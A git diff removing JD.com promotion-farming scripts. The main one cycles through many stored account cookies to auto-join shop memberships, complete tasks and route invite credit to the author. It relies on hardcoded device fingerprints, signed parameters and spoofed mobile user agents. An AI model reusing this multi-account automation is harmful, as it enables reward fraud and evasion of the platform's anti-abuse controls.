console.log(data.errorMessage) - } - - }catch(e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) - } - -async function dotask(groupType,itemId){ - return new Promise((resolve) => { - - let plant6_url = { - url: 'https://jdjoy.jd.com/module/task/v2/doTask', - body: `{"groupType":${groupType},"configCode":"e2a35e0426e846499fc9d73041e1c20b","itemId":"${itemId}","eid":"XN6CRI457W4FSJDXX3KTKGYNUA4LZSDA62FWZW5V32RVF2QKGLT7XJWGHFDXHK71DDYV27APGTUU5D2MEWDSYJFBXI","fp":"2a1aabc0d210ab466e1933298c423911"}`, - headers: { -"Host": "jdjoy.jd.com", -"Content-Type": "application/json;charset=utf-8", - "Cookie": cookie, - "Origin": "https://prodev.m.jd.com", - "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", - "Referer": "https://prodev.m.jd.com/mall/active/XnBpgvj3mF26zaNo6HChZumELh4/index.html?babelChannel=ttt1&tttparams=0MgQEmijIeyJnTG5nIjoiMTE0LjA2MjU4MiIsImdMYXQiOiIyOS41NDE0NDgifQ9%3D%3D&lng=114.062582&lat=29.541448&sid=155af26c71756ef0318aeb0fafbed57w&un_area=4_48201_54794_0", - } - - } - $.post(plant6_url,async(error, response, data) =>{ - $.log("dotask") - //$.log(data) - try{ - data = JSON.parse(data); - - //if(logs)$.log(data) - - if (data.success == true) { - - console.log("任务成功+1豆") - - - } else if (data.success == false){ - console.log(data.errorMessage) - } - - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - - -async function getReward(itemId){ - return new Promise((resolve) => { - - let plant6_url = { - url: 'https://jdjoy.jd.com/module/task/v2/getReward', - body: `{"configCode":"e2a35e0426e846499fc9d73041e1c20b","groupType":7,"itemId":${itemId},"eid":"XN6CRI117W4FSJDXX3KTKGYNUA4LZSDA62FWZW5V32RVF2QKGLT7XJWGHFDXHK73DDYV27APGTUU5D2MEWDSYJFBXI","fp":"2a1aabc0d210ab466e1933298c42311c"}`, - headers: { -"Host": "jdjoy.jd.com", -"Content-Type": "application/json;charset=utf-8", - "Cookie": cookie, - "Origin": "https://prodev.m.jd.com", - "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", - "Referer": "https://prodev.m.jd.com/mall/active/XnBpgvj3mF26zaNo6HChZumELh4/index.html?babelChannel=ttt1&tttparams=0MgQEmijIeyJnTG5nIjoiMTE0LjA2MjU4MiIsImdMYXQiOiIyOS41NDE0NDgifQ9%3D%3D&lng=114.062582&lat=29.541448&sid=155af26c71756ef0318aeb0fafbed57w&un_area=4_48201_54794_0", - } - - } - $.post(plant6_url,async(error, response, data) =>{ - try{ - data = JSON.parse(data); - //console.log(result) - if(logs)$.log(data) - - - - if (data.success == true) { - - console.log("领取10豆成功") - - - } else if (data.success == false){ - console.log(data) - } - - - - - - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - - -async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_opencard_Daddy.js b/backUp/jd_opencard_Daddy.js deleted file mode 100644 index 8a136e6..0000000 --- a/backUp/jd_opencard_Daddy.js +++ /dev/null @@ -1,597 +0,0 @@ -/* - -跑完脚本 -复制链接 到京东 -20.0复制整段话 http:/JIMNn3FbzhXZ9v 奶爸盛典重磅福利!惊喜京豆立即领取,更多实物惊喜大奖#iCYfiAu7ub@しǎι【京東】AΡΡの -下拉到福利三,领取邀请5人奖励好像是100豆 -我不知道一天可以有多少个20豆自己测试吧 = = -我不知道一天可以有多少个20豆自己测试吧 = = -我不知道一天可以有多少个20豆自己测试吧 = = -我不知道一天可以有多少个20豆自己测试吧 = = - -默认跑到ck6停,如果你还不可以领取 那就改变量 - -第一个账号助力我 其他依次助力CK1 -第一个CK失效应该全都会助力我,亲注意一下 -入口复制到jd: -20.0复制整段话 http:/JIMNn3FbzhXZ9v 奶爸盛典重磅福利!惊喜京豆立即领取,更多实物惊喜大奖#iCYfiAu7ub@しǎι【京東】AΡΡの - - -更新地址:https://github.com/Tsukasa007/my_script -============Quantumultx=============== -[task_local] -#8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆) -41 1,10 * * * jd_opencard_Daddy.js, tag=8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆), img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_opencard_Daddy.png, enabled=true - -================Loon============== -[Script] -cron "41 1,10 * * *" script-path=jd_opencard_Daddy.js,tag=8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆) - -===============Surge================= -8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆) = type=cron,cronexp="41 1,10 * * *",wake-system=1,timeout=3600,script-path=jd_opencard_Daddy.js - -============小火箭========= -8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆) = type=cron,script-path=jd_opencard_Daddy.js, cronexpr="41 1,10 * * *", timeout=3600, enable=true -*/ -const $ = new Env('8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆)'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let UA = require('./USER_AGENTS.js').USER_AGENT; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -// process.env.JD_OPENCARD_DADDY = '40' -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - - -let jd_opencard_Daddy -if (!$.isNode() || !process.env.JD_OPENCARD_DADDY) { - $.log(`你没有设置JD_OPENCARD_EAT_OPEN_OPENCARD变量 默认为运行到6ck停止`) - $.log(`请设置env变量 JD_OPENCARD_DADDY 填写11就是跑到11个ck就停止 填写21就是跑到21个ck就停止 一天最多助力20个ck 推荐10的倍数 +1 填写!!`) - $.log(`请设置env变量 JD_OPENCARD_DADDY 填写11就是跑到11个ck就停止 填写21就是跑到21个ck就停止 一天最多助力20个ck 推荐10的倍数 +1 填写!!`) - $.log(`请设置env变量 JD_OPENCARD_DADDY 填写11就是跑到11个ck就停止 填写21就是跑到21个ck就停止 一天最多助力20个ck 推荐10的倍数 +1 填写!!`) - $.log(`请设置env变量 JD_OPENCARD_DADDY 填写11就是跑到11个ck就停止 填写21就是跑到21个ck就停止 一天最多助力20个ck 推荐10的倍数 +1 填写!!`) - jd_opencard_Daddy = 6 -} else { - jd_opencard_Daddy = Number(process.env.JD_OPENCARD_DADDY) - $.log(`你设置了JD_OPENCARD_EAT_OPEN_OPENCARD变量 运行到 ${jd_opencard_Daddy} ck停止`) -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - $.shareUuid = 'e23655650c974dacbccb080f5cc4c1a3' - console.log('入口:20.0复制整段话 http:/JIMNn3FbzhXZ9v 奶爸盛典重磅福利!惊喜京豆立即领取,更多实物惊喜大奖#iCYfiAu7ub@しǎι【京東】AΡΡの') - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - let wxCommonInfoTokenDataTmp = await getWxCommonInfoToken(); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let wxCommonInfoTokenData = wxCommonInfoTokenDataTmp.data; - $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY - $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE - $.isvObfuscatorToken = await getIsvObfuscatorToken(); - $.myPingData = await getMyPing() - if ($.myPingData === "" || $.myPingData === '400001' || !$.myPingData || !$.myPingData.secretPin) { - $.log("黑号!") - continue - } - await getHtml(); - let simpleActInfoVoResp = await getSimpleActInfoVo() - await adLog(); - $.actorUuidResp = await getActorUuid(); - if (!$.actorUuidResp) { - $.log("黑号!") - continue - } - $.actorUuid = $.actorUuidResp.data.actorUuid; - // let checkOpenCardData = await checkOpenCard(); - let checkOpenCardData = $.actorUuidResp.data.openCard ? $.actorUuidResp.data.openCard.filter(row => !row.openStatus) : []; - if (checkOpenCardData.length > 0) { - for (let cardList1Element of checkOpenCardData) { - $.log('入会: ' + cardList1Element.venderId) - await join(cardList1Element.venderId) - } - } else { - $.log("是否全部入会: " + 'true') - } - await saveTask() - await saveTask() - await getSimpleActInfoVo() - await getSimpleActInfoVo() - await getActorUuid(); - await getActorUuid(); - $.log($.shareUuid) - if (i === 0 && $.actorUuid) { - $.shareUuid = $.actorUuid; - } - if ($.index == jd_opencard_Daddy) { - $.log(`你设置到${jd_opencard_Daddy} 停止,如果不如意请设置 JD_OPENCARD_DADDY变量,注意看js说明!!!没有设置默认11停`) - break; - } - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -function followShop() { - return new Promise(resolve => { - let body = `activityId=dz2107100000271001&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=23&taskValue=1000002710&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/muying/recruiting/followShop', body, 'https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/followShop'), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function openCardStartDraw(type) { - return new Promise(resolve => { - let body = `activityId=dz210768869312&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/aoyun/moreshop/openCardStartDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=dz2107100000271001&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body, 'https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon'), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function saveTask() { - return new Promise(resolve => { - let body = `activityId=dz2107100000271001&pin=${encodeURIComponent($.myPingData.secretPin)}&taskType=23&taskValue=1000002710&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/muying/recruiting/saveTask', body, 'https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/saveTask'), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -async function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=fb64cd8222a74c0f96557c2d97547e76&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body, `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/805745?activityId=fb64cd8222a74c0f96557c2d97547e76&shareUuid=${$.shareUuid}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.log('抽到了: ' + data) - } - } catch (e) { - await $.wait(5000) - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=dz2107100000271001&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body, 'https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/checkOpenCard'), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data) { - $.log("================== 你邀请了: " + data.data.score + " 个") - } - } - } catch (e) { - data = {data: {nowScore: 50}} - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function join(venderId) { - return new Promise(resolve => { - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - data = data.match(/(\{().+\})/)[1] - data = JSON.parse(data); - if (data.success == true) { - $.log(data.message) - } else if (data.success == false) { - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function ruhui(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{"v_sex":"未知","v_name":"大品牌","v_birthday":"2021-07-23"},"writeChildFlag":0,"activityId":1454199,"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888&jsonp=jsonp_1627049995456_46808`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1', - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': 'https://shopmember.m.jd.com/shopcard/?venderId=1000003005&shopId=1000003005&venderType=1&channel=102&returnUrl=https%%3A%%2F%%2Flzdz1-isv.isvjcloud.com%%2Fdingzhi%%2Fdz%%2FopenCard%%2Factivity%%2F7376465%%3FactivityId%%3Dd91d932b9a3d42b9ab77dd1d5e783839%%26shareUuid%%3Ded1873cb52384a6ab42671eb6aac841d', - 'Cookie': cookie - } - } -} - - -function getWxCommonInfoToken() { - //await $.wait(20) - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': `Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1`, - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Origin': 'https://lzdz1-isv.isvjcloud.com', - 'Referer': 'https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token', - } - }, async (err, resp, data) => { - try { - if (err) { - $.isLogin = false - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.isLogin = false - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - - -function getIsvObfuscatorToken() { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=zrHR4oLv7fO8bj08KaWkuJrGiAm%2FG6al3p01S3QPkHjEe70KB7DMBdz3cfE%2BRhrQIyj%2B2Jj2QqzA%2BpAdyk9V1ui51eL%2FoBnDH0kFw%2FNynmvOvct2RwpCzR7s0IfLFlCdif1pPkN560QPhIQm8X6wiYfI7PKqHbiI&uemps=0-0&st=1627274224579&sign=bba574c30f4f3d5daa720c4ffea24a07&sv=102`, - body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Flzdz1-isv.isvjcloud.com%22%7D&', - headers: { - 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'api.m.jd.com', - 'Referer': 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=zrHR4oLv7fO8bj08KaWkuJrGiAm%2FG6al3p01S3QPkHjEe70KB7DMBdz3cfE%2BRhrQIyj%2B2Jj2QqzA%2BpAdyk9V1ui51eL%2FoBnDH0kFw%2FNynmvOvct2RwpCzR7s0IfLFlCdif1pPkN560QPhIQm8X6wiYfI7PKqHbiI&uemps=0-0&st=1627274224579&sign=bba574c30f4f3d5daa720c4ffea24a07&sv=102', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.token); - } - }) - }) -} - -function getMyPing() { - //await $.wait(20) - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=1000002710&token=${$.isvObfuscatorToken}&fromType=APP_pointRedeem`, - headers: { - 'User-Agent': `Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 